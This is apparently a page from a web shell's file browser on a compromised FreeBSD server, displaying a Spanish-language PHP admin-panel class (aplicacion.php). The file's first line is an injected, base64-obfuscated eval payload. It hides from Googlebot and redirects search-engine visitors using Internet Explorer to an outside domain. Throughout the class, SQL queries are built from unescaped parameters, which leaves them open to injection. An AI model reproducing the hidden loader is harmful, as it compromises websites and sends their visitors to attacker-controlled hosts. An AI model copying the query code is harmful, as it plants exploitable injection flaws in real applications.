KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/logicswapweb/aplicaciones/admon/fnc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/logicswapweb/aplicaciones/admon/fnc/aplicacion.php
<?php	 	eval(base64_decode("CmVycm9yX3JlcG9ydGluZygwKTsKJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkcWF6cGxtKXsKJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKaWYgKCR1YWcpIHsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpKXsKcHJlZ19tYXRjaCAoIi9tc2llIChbMC05Ll0rKS9pIiwkdWFnLCRtdik7CmlmIChpc3NldCgkbXZbMV0pKXsKJG12PXN0cl9yZXBsYWNlKCIuIiwiIiwkbXZbMV0pOwp9Cn0KaWYoIXByZWdfbWF0Y2goIi9eNjZcLjI0OVwuLyIsJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKXsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpIGFuZCAkbXY+PTkwKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vLiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmcuIikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBhbmQgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikgYW5kICFzdHJpc3RyKCRyZWZlcmVyLCJFZVlwM0Q3IikpewpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZ3NibmNtLmVwYWMudG8vIik7CmV4aXQoKTsKfQp9Cn0KfQp9Cn0="));
//include('DBConnect.php');
//include('componente.php');


class Aplicacion extends Componente{

var $nombre;
var $id;
var $parametros;
var $parametro;
/*constructor*/
function Aplicacion(){
	$this->Componente();
	$this->parametro = new Parametro();
}

/*
*funcion setFilesApli()
*descripcion redirecciona los archivos de mensajes y errores
*/
function setFilesApli($niv){
	$this->setFiles($niv);
	$this->parametro->setFiles($niv);
}

/*
*funcion loadAplicacion()
*descripcion carga los valores de los atributos de la aplicacion
*/
function loadAplicacion($ident,$tipo="panel"){
	if($tipo=="panel"){
		$this->nombre=$ident;
		$this->id=9999;
		$this->parametros=$this->parametro->getParametros(9999,$ident);
		if(is_array($this->parametros) || $this->parametros=="none"){
			$out=$this->getMensaje("[043]","confirmacion")." ($ident)";
			$this->setSalida(true,$out,"loadAplicacion($ident,$tipo)",$ident);
			return true;
		}else{
			$out=$this->parametro->salida['msg'];
			$this->setSalida(false,$out,"loadAplicacion($ident,$tipo)",$ident);
			return false;
		}
	}
	if($tipo=="cliente"){
		$sql="select nombre from panel_aplicacion where id='$ident'";
		if($this->execute($sql)){
				list($nom)=$this->fetchRow();
				$this->nombre=$nom;
				$this->id=$ident;
				$this->parametros=$this->parametro->getParametros($ident,$nom);
				if(is_array($this->parametros) || $this->parametros=="none"){
					$out=$this->getMensaje("[043]","confirmacion")." ".$nom;
					$this->setSalida(true,$out,"loadAplicacion($ident,$tipo)",$nom);
					return true;
				}else{
					$out=$this->parametro->salida['msg'];
					$this->setSalida(false,$out,"loadAplicacion($ident,$tipo)",$nom);
					return false;
				}
		}else{
				$out=$this->getMensaje("[012]","error");
				$out.=trim($this->getException());
				$this->setSalida(false,$out,"loadAplicacion($ident,$tipo)","panel de control");
				return false;
		}
	}else{
		$out=$this->getMensaje("[020]","error");
		$this->setSalida(false,$out,"loadAplicacion($ident,$tipo)","panel de control");
		return false;
	}
}

/*
funcion addAplicacion
descripcion habilita una aplicacion disponible para el panel
pre: La aplicacion ya esta registrada
*/
function addAplicacion($aplicacion){
	$sql="update panel_aplicacion set estado=1 where id='$aplicacion'";
	if($this->execute($sql)){
			$out=$this->getMensaje("[031]","confirmacion")." con id($aplicacion)";
			$this->setSalida(true,$out,"addAplicacion($aplicacion)","panel de control - (aplicaciones)");
			return true;
	}else{
			$out=$this->getMensaje("[012]","error");
			$out.=trim($this->getException());
			$this->setSalida(false,$out,"addAplicacion($aplicacion)","panel de control - (aplicaciones)");
			return false;
	}

}

/*
funcion modAplicacion
descripcion modifica los valores de una aplicacion
pre: la aplicacion existe
*/
function modAplicacion($aplicacion,$icono,$nombre,$carpeta,$estado){
	$sql="update panel_aplicacion set nombre='$nombre',carpeta='$carpeta',icono='$icono',estado='$estado' where id='$aplicacion'";
	if($this->execute($sql)){
			$out=$this->getMensaje("[032]","confirmacion");
			$this->setSalida(true,$out,"modAplicacion($aplicacion)","panel de control - (aplicaciones)");
			return true;
	}else{
			$out=$this->getMensaje("[012]","error");
			$out.=trim($this->getException());
			$this->setSalida(false,$out,"modAplicacion($aplicacion)","panel de control - (aplicaciones)");
			return false;
	}

}

/*
funcion delAplicacion
descripcion cambia de estado una aplicacion de estado 0 a 1
pre: la aplicacion existe
*/
function delAplicacion($aplicacion){
	$sql="update panel_aplicacion set estado=0 where id='$aplicacion'";
	if($this->execute($sql)){
			$out=$this->getMensaje("[033]","confirmacion");
			$this->setSalida(true,$out,"delAplicacion($aplicacion)","panel de control - (aplicaciones)");
			return true;
	}else{
			$out=$this->getMensaje("[012]","error");
			$out.=trim($this->getException());
			$this->setSalida(false,$out,"delAplicacion($aplicacion)","panel de control - (aplicaciones)");
			return false;
	}

}

/*
funcion vincXaplicacion()
descripcion lista todas las aplicaciones para ser perfiladas para el usuario en cuestion
*/
function vincXaplicacion(){
	$sql="select id,nombre from panel_aplicacion where estado=1";
	if($this->execute($sql)){
		if($this->numRows()>0){
			$i=0;
			while(list($id,$nombre)=$this->fetchRow()){
				$nombre=ucfirst(strtolower($nombre));
				echo '<tr id="tr_'.$i.'" onMouseOver="mOvr(this,\'#FAFF95\',\'tr_'.$i.'\');" onMouseOut="mOut(this,\'#FFFFFF\',\'tr_'.$i.'\');">
					<td>'.$nombre.'<input type="hidden" name="aplicacion_'.$i.'" value="'.$id.'"></td>
					<td><div align="center">
					  <input type="checkbox" name="admin_'.$i.'" value="checkbox" style="border:0" onclick="if(this.checked){todos('.$i.',true);}else{todos('.$i.',false);}">
					</div></td>
					<td><div align="center">
					  <input type="checkbox" name="adicionar_'.$i.'" value="checkbox"  style="border:0">
					</div></td>
					<td><div align="center">
					  <input type="checkbox" name="consultar_'.$i.'" value="checkbox"  style="border:0">
					</div></td>
					<td><div align="center">
					  <input type="checkbox" name="modificar_'.$i.'" value="checkbox"  style="border:0">
					</div></td>
					<td><div align="center">
					  <input type="checkbox" name="eliminar_'.$i.'" value="checkbox"  style="border:0">
					</div></td>
					<td><div align="center">
	                <input type="checkbox" name="todos_'.$i.'" value="checkbox"  style="border:0" onclick="if(this.checked){todos('.$i.',true);}else{todos('.$i.',false);}">
                	</div></td>
				  </tr>';
				  $i++;
			}
			//echo "<tr><td colspan=\"7\"><input type\"hidden\" value=\"$i\" name=\"aplicacioness\"></td></tr>";
			return $i;
		}else{
			$out=$this->getMensaje("[012]","confirmacion");
			$this->setSalida(false,$out,"vincXaplicacion","panel de control - (Usuarios)");
			echo "<tr><td colspan=\"7\">$out</td></tr>";
			return false;
		}
	}else{
			$out=$this->getMensaje("[007]","error");
			$out.=trim($this->getException());
			$this->setSalida(false,$out,"vincXaplicacion","panel de control - (Usuarios)");
			echo "<tr><td colspan=\"7\">$out</td></tr>";
			return false;
	}
}

/*
funcion vincXaplicacionUser()
descripcion lista todas las aplicaciones para ser perfiladas para el usuario en cuestion
			identifiacndo el vinculo que existe con el usuario
*/
function vincXaplicacionUser($user){
	$sql="select id,nombre from panel_aplicacion where estado=1";
	if($this->execute($sql)){
		if($this->numRows()>0){
			$i=0;
			$ides=array();
			$nom=array();
			while(list($id,$nombre)=$this->fetchRow()){
				$ides[$i]=$id;
				$nom[$i]=$nombre;
				$i++;
			}
			$i=0;
			foreach($ides as $key=>$val){
				$nombre=ucfirst(strtolower($nom[$key]));
				$id=$val;
				$vinc=$this->getVinculo($id,$user);
				if($vinc['sal']){
					$color="#eeeeee";
				}else{
					$color="#ffffff";
				}

				echo '<tr id="tr_'.$i.'" onMouseOver="mOvr(this,\'#FAFF95\',\'tr_'.$i.'\');" onMouseOut="mOut(this,\''.$color.'\',\'tr_'.$i.'\');" bgcolor="'.$color.'">
					<td>'.$nombre.'<input type="hidden" name="aplicacion_'.$i.'" value="'.$id.'"></td>
					<td><div align="center"><input type="checkbox" name="bloqueado_'.$i.'" value="checkbox" style="border:0" '.$vinc['bloq'].'></div></td>
					<td><div align="center">
					  <input type="checkbox" name="admin_'.$i.'" value="checkbox" style="border:0" onclick="if(this.checked){todos('.$i.',true);}else{todos('.$i.',false);}" '.$vinc['admi'].'>
					</div></td>
					<td><div align="center">
					  <input type="checkbox" name="adicionar_'.$i.'" value="checkbox"  style="border:0" '.$vinc['adic'].'>
					</div></td>
					<td><div align="center">
					  <input type="checkbox" name="consultar_'.$i.'" value="checkbox"  style="border:0" '.$vinc['consu'].'>
					</div></td>
					<td><div align="center">
					  <input type="checkbox" name="modificar_'.$i.'" value="checkbox"  style="border:0" '.$vinc['modi'].'>
					</div></td>
					<td><div align="center">
					  <input type="checkbox" name="eliminar_'.$i.'" value="checkbox"  style="border:0" '.$vinc['elim'].'>
					</div></td>
					<td><div align="center">
	                <input type="checkbox" name="todos_'.$i.'" value="checkbox"  style="border:0" onclick="if(this.checked){todos('.$i.',true);}else{todos('.$i.',false);}">
                	</div></td>
				  </tr>';
				  $i++;
			}
			return $i;
		}else{
			$out=$this->getMensaje("[012]","confirmacion");
			$this->setSalida(false,$out,"vincXaplicacionUser($user)","panel de control - (Usuarios)");
			echo "<tr><td colspan=\"7\">$out</td></tr>";
			return false;
		}
	}else{
			$out=$this->getMensaje("[007]","error");
			$out.=trim($this->getException());
			$this->setSalida(false,$out,"vincXaplicacionUser($user)","panel de control - (Usuarios)");
			echo "<tr><td colspan=\"7\">$out</td></tr>";
			return false;
	}
}

/*
funcion getVinculo($id,$user)
descripcion devuelve valores para un vinculo solicitado
			en la posicion sal del vector devuelto indica
			si existe un vinculo o no
*/
function getVinculo($aplicacion,$usuario){
	$sal=array();
	$sql="select * from panel_vinculo where usuario_panel='$usuario' and aplicacion='$aplicacion'";
	if($this->execute($sql)){
		if($this->numRows()>0){
			$row=$this->fetchRow();
			$sal['sal']=true;
			if($row['administrador']=="SI"){$sal['admi']="checked";}else{$sal['admi']="";}
			if($row['adicionar']=="SI"){$sal['adic']="checked";}else{$sal['adic']="";}
			if($row['consultar']=="SI"){$sal['consu']="checked";}else{$sal['consu']="";}
			if($row['modificar']=="SI"){$sal['modi']="checked";}else{$sal['modi']="";}
			if($row['eliminar']=="SI"){$sal['elim']="checked";}else{$sal['elim']="";}
			if($row['bloqueado']=="SI"){$sal['bloq']="checked";}else{$sal['bloq']="";}
			$sal['id']=$row['id'];
			$out=$this->getMensaje("[034]","confirmacion");
			$this->setSalida(true,$out,"getVinculo($aplicacion,$usuario)","panel de control - (aplicaciones/usuarios)");
			return $sal;
		}else{
			$sal['sal']=false;
			$sal['admi']="";
			$sal['adic']="";
			$sal['consu']="";
			$sal['modi']="";
			$sal['elim']="";
			$sal['bloq']="";

			$out=$this->getMensaje("[035]","confirmacion");
			$this->setSalida(false,$out,"getVinculo($aplicacion,$usuario)","panel de control - (aplicaciones/usuarios)");
			return $sal;
		}
	}else{
			$out=$this->getMensaje("[010]","error");
			$out.=trim($this->getException());
			$this->setSalida(false,$out,"getVinculo($aplicacion,$usuario)","panel de control - (aplicaciones/usuarios)");
			return false;
	}
}

/*
funcion listarAplicaciones
descripcion trae todos las Applications available
pre tipo es [1,2]
*/
function listarAplicaciones($tipo,$inicio,$limite){

	$sql="select id, nombre from panel_aplicacion where estado=1 order by nombre desc limit $inicio,$limite";

	if($this->execute($sql)){
	    echo '<script>var t = new SortTable("t");t.AddColumn("ico","","left","");t.AddColumn("Nombre","","left",""); t.AddColumn("Seleccion","","center","");';
		$i=1;
		$estado="";
		$jj = 0;
	    if ($this->numRows()>0) {
			while(list($id,$nombre)=$this->fetchRow()){
				$imagen="<img src=\"img/aplicacion.gif\" onClick=\"fncListar(\'$id\')\">";
				$nombre=ucfirst(strtolower($nombre));
            	if($i==1){
					$i++;
					echo "t.AddLine('$imagen','<!--$nombre--><a class=\"texto1\" onClick=\"fncListar(\'$id|$nombre\')\">$nombre </a>', '<INPUT class=\"radio\" name=\"usuario\" type=\"radio\" value=\"$id|$nombre\" checked>');";
					echo "t.AddLineProperties('id=\"tr_$jj\" class=\"texto1\" align=\"left\" onMouseOver=\"mOvr(this,\'#FAFF95\');\" onMouseOut=\"mOut(this,\'#FFFFFF\')\"');";
            	}else{
					echo "t.AddLine('$imagen','<!--$nombre--><a class=\"texto1\" onClick=\"fncListar(\'$id|$nombre\')\">$nombre </a>', '<INPUT class=\"radio\" name=\"usuario\" type=\"radio\" value=\"$id|$nombre\">');";
					echo "t.AddLineProperties('id=\"tr_$jj\" class=\"texto1\" align=\"left\" onMouseOver=\"mOvr(this,\'#FAFF95\');\" onMouseOut=\"mOut(this,\'#FFFFFF\')\"');";
				}
				$jj++;
        	}
			echo "t.WriteRows();";
    	} else {
			$estado="disabled";
			$out=trim($this->getMensaje("[040]","confirmacion"));
			echo "document.write('<TR><TD colspan=\"3\" align=\"center\"><BR>$out<BR>&nbsp;</TD></TR>');";
    	}
		echo "</script>";
		$c=$this->cantidadAplicaciones();
		echo '<tr><td colspan="3" align="center" class="titular1" bgcolor="#CCCCCC">Applications: '.$c.'</td></tr>';
		return $c;
	}else{
		$out=trim($this->getMensaje("[012]","error"));
		$out.="\\n:Desc: ".trim($this->getException());
		echo "<TR><TD colspan=\"2\"  class=\"texto1\" align=\"center\"><BR>$out<BR>&nbsp;</TD></TR>";
		echo '<tr><td colspan="2" class="texto1">&nbsp;</td></tr>';
		$this->setSalida(false,$out,"listarAplicaciones($tipo)","panel - aplicaciones");
		return false;
	}

}
/*
funcion cantidadAplicaciones
descripcion devuelve el numero de installed applications en el panel
*/
function cantidadAplicaciones(){
	$sql="select * from panel_aplicacion where estado=1";
	if($this->execute($sql)){
		$out=trim($this->getMensaje("[037]","confirmacion"));
		$this->setSalida(true,$out,"cantidadAplicaciones","panel - aplicaciones");
		return $this->numRows();
	}else{
		$out=trim($this->getMensaje("[012]","error"));
		$out.="\\n:Desc: ".trim($this->getException());
		$this->setSalida(false,$out,"cantidadAplicaciones","panel - aplicaciones");
		return false;
	}
}

/*
funcion listarAplicacioneSetup()
descripcion lista todas las aplicaciones que no estan instaladas en el panel
*/
function listarAplicacioneSetup(){
	$sql="select id,nombre,icono from panel_aplicacion where estado=0";
	if($this->execute($sql)){
		if($this->numRows()>0){
			$i=0;
			$ides=array();
			$nom=array();
			echo "<table width=\"100%\">";
			while(list($id,$nombre,$icono)=$this->fetchRow()){

				$nombre=ucfirst(strtolower($nombre));
				$imagen = "<img src=\"img/aplicacion.gif\">";
				echo '<tr id="tr_'.$i.'" onMouseOver="mOvr(this,\'#FAFF95\');" onMouseOut="mOut(this,\'#ffffff\');" bgcolor="#ffffff">
					<td width=\"64%\" class=\"texto1\"><div align="left" class="texto1">'.$imagen.'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'.$nombre.'<input type="hidden" name="aplicacion_'.$i.'" value="'.$id.'"></div></td>
					<td width=\"36%\"><div align="center">&nbsp;&nbsp;&nbsp;&nbsp;
					  <input type="checkbox" name="check_'.$i.'" value="checkbox"  style="border:0">
					</div></td>
				  </tr>';
				  $i++;
			}
			echo"</table>";
			return $i;
		}else{
			$out=$this->getMensaje("[038]","confirmacion");
			$this->setSalida(false,$out,"listarAplicacioneSetup()","panel de control - (aplicaciones)");
			echo '<br><div class="texto1" align="center">'.$out."</div><br>";
			return false;
		}
	}else{
			$out=$this->getMensaje("[007]","error");
			$out.=trim($this->getException());
			$this->setSalida(false,$out,"listarAplicacioneSetup()","panel de control - (aplicaciones)");
			echo '<br><div class="texto1" align="center">'.$out."</div><br>";
			return false;
	}
}


/*
funcion makeBasedatos()
descripcion crea la bd para la aplicacion
pre: el archivo de las consultas debe de existir
*/
function makeBasedatos($aplicacion){
	$sql="select archivo_db from panel_aplicacion where id='$aplicacion'";
	$path=NULL;
	if($this->execute($sql)){
		list($path)=$this->fetchRow();
		$file=@file_get_contents("mer/".$path);
		if($file){
			$file=explode("[-]",$file);
			$cant=sizeof($file);
			$hechos=0;
			foreach($file as $key=>$val){
				$consulta=trim($val);
				if($this->execute($consulta)){
					$hechos++;
				}else{
					$out=trim($this->getMensaje("[003]","error"));
					$out.="\\n::".trim($this->getException());
					$this->setSalida(false,$out,"makeBasedatos($aplicacion)","panel-aplicaciones");
					break;
				}
			}
			if($hechos==$cant){
				$out=$this->getMensaje("[041]","confirmacion");
				$this->setSalida(true,$out,"makeBasedatos($aplicacion)","panel-aplicaciones");
				return true;
			}else{
				$out=trim($this->getMensaje("[003]","error"));
				$out.="\\n::".trim($this->getException());
				$this->setSalida(false,$out,"crearPanel",$this->aplicacion);
				return false;
			}
		}else{
			$out=$this->getMensaje("[002]","error");
			$this->setSalida(false,$out,"makeBasedatos($aplicacion)","panel-aplicaciones");
			return false;
		}
	}else{
		$out=$this->getMensaje("[003]","error");
		$out.="\\n::".trim($this->getException());
		$this->setSalida(false,$out,"makeBasedatos($aplicacion)",$this->aplicacion);
		return false;
	}
}

/*
funcion vincXaplicacionApli()
descripcion lista todos los usuarios relacionados con la aplicacion en cuestion
			identifiacndo el vinculo que existe
*/
function vincXaplicacionApli($sel){
	$sql="select vinc.id,vinc.administrador,vinc.adicionar,vinc.consultar,vinc.modificar,vinc.eliminar,vinc.bloqueado,user.nombres,user.apellidos from panel_vinculo as vinc, panel_usuario as user where vinc.aplicacion='$sel' and vinc.usuario_panel=user.id";
	if($this->execute($sql)){
		if($this->numRows()>0){
			$i=0;
			$img="<img src=\"img/usuarioAplicacion.gif\" style=\"boreder:0\">";
			while($vinc = $this->fetchRow()){
				$nombre=ucfirst(strtolower($vinc[7]))." ".ucfirst(strtolower($vinc[8]));
				if(strlen($nombre)>16){
					$nombre= substr($nombre,0,13)."...";
				}
				$id=$vinc[0];
				if($i==0){$val = "checked";}else{$val ="";}
				if($vinc[1]=="SI"){$admi="<img src=\"img/chulo.gif\">";}else{$admi="<img src=\"img/equis.gif\">";}
				if($vinc[2]=="SI"){$adic="<img src=\"img/chulo.gif\">";}else{$adic="<img src=\"img/equis.gif\">";}
				if($vinc[3]=="SI"){$cons="<img src=\"img/chulo.gif\">";}else{$cons="<img src=\"img/equis.gif\">";}
				if($vinc[4]=="SI"){$modi="<img src=\"img/chulo.gif\">";}else{$modi="<img src=\"img/equis.gif\">";}
				if($vinc[5]=="SI"){$elim="<img src=\"img/chulo.gif\">";}else{$elim="<img src=\"img/equis.gif\">";}
				if($vinc[6]=="SI"){$bloq="<img src=\"img/chulo.gif\">";}else{$bloq="<img src=\"img/equis.gif\">";}
				echo '<tr id="tr_'.$i.'" onMouseOver="mOvr(this,\'#FAFF95\');" onMouseOut="mOut(this,\'#ffffff\');" bgcolor="#ffffff">
					<td onClick="javascript: fncModificar(\''.$id.'\');" class="texto1">'.$img." ".$nombre.'<input type="hidden" name="vinculo_'.$i.'" value="'.$id.'"></td>
					<td onClick="javascript: fncModificar(\''.$id.'\');"><div align="center">'.$bloq.'</div></td>
					<td onClick="javascript: fncModificar(\''.$id.'\');"><div align="center">'.$admi.'</div></td>
					<td onClick="javascript: fncModificar(\''.$id.'\');"><div align="center">'.$adic.'</div></td>
					<td onClick="javascript: fncModificar(\''.$id.'\');"><div align="center">'.$cons.'</div></td>
					<td onClick="javascript: fncModificar(\''.$id.'\');"><div align="center">'.$modi.'</div></td>
					<td onClick="javascript: fncModificar(\''.$id.'\');"><div align="center">'.$elim.'</div></td>
					<td><div align="center"><input type="radio" name="sele" value="'.$id.'" style="border:0" '.$val.'>
                	</div></td>
				  </tr>';
				  $i++;
			}
			return $i;
		}else{
			$out=$this->getMensaje("[042]","confirmacion");
			$this->setSalida(false,$out,"vincXaplicacionApli($sel)","panel de control - (aplicaciones)");
			echo "<tr><td colspan=\"7\">$out</td></tr>";
			return false;
		}
	}else{
			$out=$this->getMensaje("[009]","error");
			$out.=trim($this->getException());
			$this->setSalida(false,$out,"vincXaplicacionApli($sel)","panel de control - (aplicaciones)");
			echo "<tr><td colspan=\"7\">$out</td></tr>";
			return false;
	}
}

/*
funcion vincXaplicacionApli2()
descripcion lista todos los usuarios que no tienen vinculo con la aplicacion en cuestion
*/
function vincXaplicacionApli2($sel){

	$sql="select user.id,user.nombres,user.apellidos from panel_usuario as user where tipo=3";
	if($this->execute($sql)){
		$user=$this->numRows();
		if($user>0){
			$ides=array();
			$nombre=array();
			$ape=array();
			$i=0;
			while($row = $this->fetchRow()){
				$ides[$i]=$row[0];
				$nombre[$i]=$row[1];
				$ape[$i]=$row[2];
				$i++;
			}
			$i=0;
			$img="<img src=\"img/usuario.gif\" style=\"border:0\">";
			reset($ides);reset($nombre);reset($ape);
			foreach($ides as $key=>$val){
				$nom=ucfirst(strtolower($nombre[$key]))." ".ucfirst(strtolower($ape[$key]));
				$nom=substr($nom,0,19);
				$id=$ides[$key];
				$vinc=$this->getVinculo($sel,$id);
				if(!$vinc['sal']){
					if($i==0){$val = "checked";}else{$val ="";}//if(this.checked){todos('.$i.',true);}
					echo '<tr id="tr_'.$i.'" onMouseOver="mOvr(this,\'#FAFF95\');" onMouseOut="mOut(this,\'#ffffff\');" bgcolor="#ffffff">
						<td class="texto1">'.$img." ".$nom.'<input type="hidden" name="usuario_'.$i.'" value="'.$id.'"></td>
						<!--<td><div align="center">&nbsp;<input type="checkbox" name="bloqueado_'.$i.'" style="border:0" ></div></td>-->
						<td><div align="center">
						  <input type="checkbox" name="admin_'.$i.'"  style="border:0" onclick="if(this.checked){todos('.$i.',true);}else{todos('.$i.',false);}">
						</div></td>
						<td><div align="center">
						  <input type="checkbox" name="adicionar_'.$i.'" style="border:0">
						</div></td>
						<td><div align="center">
						  <input type="checkbox" name="consultar_'.$i.'" style="border:0">
						</div></td>
						<td><div align="center">
						  <input type="checkbox" name="modificar_'.$i.'" style="border:0">
						</div></td>
						<td><div align="center">
						  <input type="checkbox" name="eliminar_'.$i.'" style="border:0" >
						</div></td>
						<td><div align="center">
						<input type="checkbox" name="todos_'.$i.'" style="border:0" onclick="if(this.checked){todos('.$i.',true);}else{todos('.$i.',false);}">
						</div></td>
					  </tr>';
					  $i++;
				}
			}
			if($i==0){
				$out=$this->getMensaje("[046]","confirmacion");
				$this->setSalida(false,$out,"vincXaplicacionApli2($sel)","panel de control - (Aplicaciones)");
				echo "<tr><td colspan=\"7\" class=\"texto1\">$out</td></tr>";
			}
			return $i;
		}else{
			$out=$this->getMensaje("[046]","confirmacion");
			$this->setSalida(false,$out,"vincXaplicacionApli2($sel)","panel de control - (Aplicaciones)");
			echo "<tr><td colspan=\"7\" class=\"texto1\">$out</td></tr>";
			return false;
		}
	}else{
			$out=$this->getMensaje("[001]","error");
			$out.=trim($this->getException());
			$this->setSalida(false,$out,"vincXaplicacionApli2($sel)","panel de control - (Aplicaciones)");
			echo "<tr><td colspan=\"7\" class=\"texto1\">$out</td></tr>";
			return false;
	}
}

/*
funcion vincXaplicacionUser3()
descripcion lista todas las aplicaciones para el usuario en cuestion
			identifiacndo el vinculo que existe con el usuario
*/
function vincXaplicacionUser3($user){
	$sql="select id,nombre from panel_aplicacion where estado=1";
	if($this->execute($sql)){
		if($this->numRows()>0){
			$i=0;
			$ides=array();
			$nom=array();
			while(list($id,$nombre)=$this->fetchRow()){
				$ides[$i]=$id;
				$nom[$i]=$nombre;
				$i++;
			}
			$i=0;
			foreach($ides as $key=>$val){
				$nombre=ucfirst(strtolower($nom[$key]));
				$id=$val;
				$vinc=$this->getVinculo($id,$user);
				if($vinc['sal']){
					if($vinc['admi']=="checked"){$admi="<img src=\"img/chulo.gif\">";}else{$admi="<img src=\"img/equis.gif\">";}
					if($vinc['adic']=="checked"){$adic="<img src=\"img/chulo.gif\">";}else{$adic="<img src=\"img/equis.gif\">";}
					if($vinc['consu']=="checked"){$cons="<img src=\"img/chulo.gif\">";}else{$cons="<img src=\"img/equis.gif\">";}
					if($vinc['modi']=="checked"){$modi="<img src=\"img/chulo.gif\">";}else{$modi="<img src=\"img/equis.gif\">";}
					if($vinc['elim']=="checked"){$elim="<img src=\"img/chulo.gif\">";}else{$elim="<img src=\"img/equis.gif\">";}
					if($vinc['bloq']=="checked"){$bloq="<img src=\"img/chulo.gif\">";}else{$bloq="<img src=\"img/equis.gif\">";}
					echo '<tr id="tr_'.$i.'" onMouseOver="mOvr(this,\'#E4EDFB\');" onMouseOut="mOut(this,\'#ffffff\');" bgcolor="#ffffff">
						<td >'.$nombre.'</td>
						<td ><div align="center">'.$bloq.'</div></td>
						<td ><div align="center">'.$admi.'</div></td>
						<td ><div align="center">'.$adic.'</div></td>
						<td ><div align="center">'.$cons.'</div></td>
						<td ><div align="center">'.$modi.'</div></td>
						<td ><div align="center">'.$elim.'</div></td>
						<td><div align="center">&nbsp;</div></td>
					  </tr>';
				}
				$i++;
			}
			return $i;
		}else{
			$out=$this->getMensaje("[012]","confirmacion");
			$this->setSalida(false,$out,"vincXaplicacionUser3($user)","panel de control - (Usuarios)");
			echo "<tr><td colspan=\"7\">$out</td></tr>";
			return false;
		}
	}else{
			$out=$this->getMensaje("[007]","error");
			$out.=trim($this->getException());
			$this->setSalida(false,$out,"vincXaplicacionUser3($user)","panel de control - (Usuarios)");
			echo "<tr><td colspan=\"7\">$out</td></tr>";
			return false;
	}
}

/*
*funcion enableDebugApli
*descripcion permite la visualizacion de las operaciones realizadas
*/
function enableDebugApli(){
	$this->enableDebug();
	$this->parametro->enableDebug();
}
/*
*funcion disableDebugApli
*descripcion inhabilita la visualizacion de las operaciones realizadas
*/
function disableDebugApli(){
	$this->disableDebug();
	$this->parametro->disableDebug();
}
/*
funcion reactivarDB
descripcion reactiva las conexiones de BD tanto para
			el como para los objetos que el agrega
*/
function reactivarDB(){
	$this->reConnect();
	$this->parametro->reConnect();
}


}//end class
?>

Anon7 - 2021